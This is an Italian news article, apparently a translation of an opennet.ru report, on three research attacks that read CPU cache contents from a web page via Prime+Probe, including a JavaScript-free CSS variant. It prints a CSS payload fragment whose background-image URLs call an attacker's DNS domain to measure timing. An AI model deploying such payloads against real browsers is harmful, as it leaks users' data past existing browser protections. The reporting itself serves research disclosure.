Un team di ricercatori di diverse università americane, israeliane e australiane ha sviluppato tre attacchi che vengono lanciati sui browser web per estrarre informazioni sul contenuto della cache del processore. Un metodo funziona nei browser senza JavaScript e gli altri due ignorano i metodi di protezione esistenti contro gli attacchi del canale laterale, compresi quelli utilizzati nel browser Tor e DeterFox. Su GitHub sono pubblicati il codice per la dimostrazione degli attacchi e i componenti server necessari per gli attacchi.
Per analizzare il contenuto della cache, tutti gli attacchi utilizzano il metodo Prime+Probe, che prevede il riempimento della cache con un set standard di valori e il rilevamento delle modifiche misurando il tempo di accesso agli stessi durante il riempimento. Per aggirare i meccanismi di sicurezza presenti nei browser che interferiscono con la misurazione precisa del tempo, in due opzioni si fa appello a un server DNS o WebSocket controllato dall'aggressore, che conserva un registro dell'ora delle richieste ricevute. In una forma di realizzazione, come riferimento temporale viene utilizzato un tempo di risposta DNS fisso.
Le misurazioni effettuate utilizzando server DNS o WebSocket esterni, utilizzando un sistema di classificazione basato sull'apprendimento automatico, sono state sufficienti per prevedere valori con una precisione fino al 98% nello scenario più ottimale (media 80-90%). I metodi di attacco sono stati testati su diverse piattaforme hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) e si sono rivelati universali.
La prima variante dell'attacco DNS Racing utilizza un'implementazione classica del metodo Prime+Probe utilizzando array JavaScript. Le differenze si riducono all'uso di un timer esterno basato su DNS e di un gestore di errori, che viene attivato quando si tenta di caricare un'immagine da un dominio inesistente. Un timer esterno consente un attacco Prime+Probe sui browser che limitano o disabilitano completamente l'accesso ai timer JavaScript.
Per un server DNS situato sulla stessa rete Ethernet, si stima che la precisione del timer sia di circa 2 ms, sufficiente per effettuare un attacco side-channel (per confronto, la precisione del timer JavaScript standard in Tor Browser è ridotto a 100 ms). Per l'attacco non è necessario il controllo sul server DNS, poiché il tempo di esecuzione dell'operazione è scelto in modo tale che il tempo di risposta del DNS serva come segno di una conclusione anticipata del controllo (a seconda che sia stato attivato l'onerror handler) prima o poi si trae una conclusione sulla velocità dell'operazione di controllo con la cache) .
Il secondo metodo di attacco, "String and Sock", mira a bypassare le tecniche di sicurezza che limitano l'uso di basso livello degli array in JavaScript. Invece degli array, String e Sock utilizzano operazioni su stringhe molto grandi, la cui dimensione è scelta in modo che la variabile copra l'intera cache LLC (cache di ultimo livello). Successivamente, utilizzando la funzione indexOf(), viene cercata nella stringa una piccola sottostringa, che inizialmente è assente nella stringa sorgente, ad es. l'operazione di ricerca risulta nell'iterazione dell'intera stringa. Poiché la dimensione della riga corrisponde alla dimensione della cache LLC, la scansione consente di eseguire un'operazione di controllo della cache senza manipolare gli array. Per misurare i ritardi, invece del DNS, viene effettuata una chiamata a un server WebSocket controllato dall'aggressore: prima e dopo il completamento dell'operazione di ricerca vengono inviate delle query in linea, in base alle quali il server calcola il ritardo utilizzato per analizzare la cache Contenuti.
La terza variante dell'attacco "CSS PP0" viene implementata tramite HTML e CSS e può funzionare nei browser con JavaScript disabilitato. Il metodo è simile a "String and Sock", ma non è legato a JavaScript. Durante l'attacco viene generato un set di selettori CSS che effettuano la ricerca per maschera. La stringa iniziale di grandi dimensioni che riempie la cache viene impostata creando un tag div con un nome di classe molto grande. All'interno c'è una serie di altri div con i propri identificatori. Ognuno di questi div nidificati ha il proprio stile con un selettore che cerca una sottostringa. Durante il rendering di una pagina, il browser tenta innanzitutto di elaborare i div interni, il che si traduce in un'operazione di ricerca su una riga di grandi dimensioni. La ricerca viene eseguita utilizzando una maschera volutamente mancante e porta a un'iterazione sull'intera riga, dopodiché viene attivata la condizione "non" e viene effettuato un tentativo di caricare un'immagine di sfondo che fa riferimento a domini casuali: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...
I sottodomini sono serviti dal server DNS dell'aggressore, che può misurare i ritardi nella ricezione delle richieste. Il server DNS emette NXDOMAIN per tutte le richieste e conserva un registro dell'ora esatta delle richieste. Come risultato dell'elaborazione di una serie di div, il server DNS dell'aggressore riceve una serie di richieste, i cui ritardi sono correlati al risultato del controllo del contenuto della cache.
Fonte: opennet.ru